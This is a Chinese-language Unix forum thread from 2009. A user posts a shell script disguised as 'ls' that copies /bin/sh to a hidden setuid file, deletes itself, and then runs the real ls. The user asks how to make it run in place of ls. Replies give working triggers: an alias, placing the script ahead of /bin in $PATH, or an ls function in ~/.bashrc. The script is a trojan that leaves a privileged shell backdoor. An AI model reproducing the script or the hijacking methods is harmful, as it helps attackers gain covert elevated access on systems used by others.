Chinaunix
标题:
建一个ls的sh文件,请问能否在执行ls命令时让该文件先执行
[打印本页]
作者:
wroxman
时间:
2009-05-12 23:33
标题:
建一个ls的sh文件,请问能否在执行ls命令时让该文件先执行
实验这个:
#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}
[
本帖最后由 wroxman 于 2009-5-12 23:36 编辑
]
作者:
goter
时间:
2009-05-13 09:05
建别名行不?
让ls对应你那个sh文件,然后在文件末尾写个ls
作者:
vermouth
时间:
2009-05-13 11:50
看看你的 $PATH,放到 /bin 前面的目录里,注意权限。
作者:
gyp334a
时间:
2009-05-13 11:54
建个alias就好了
作者:
vermouth
时间:
2009-05-13 16:59
标题:
for example
alias ls="ls;date"
作者:
gamester88
时间:
2009-05-13 17:06
原帖由
vermouth
于 2009-5-13 11:50 发表
看看你的 $PATH,放到 /bin 前面的目录里,注意权限。
对,这样也可以的
作者:
goter
时间:
2009-05-15 17:29
还有个办法,在~/.bashrc
里加一个ls函数
function ls{bashfile;bulitin ls;}
[
本帖最后由 goter 于 2009-5-15 17:37 编辑
]
欢迎光临 Chinaunix (http://bbs.chinaunix.net/)
Powered by Discuz! X3.2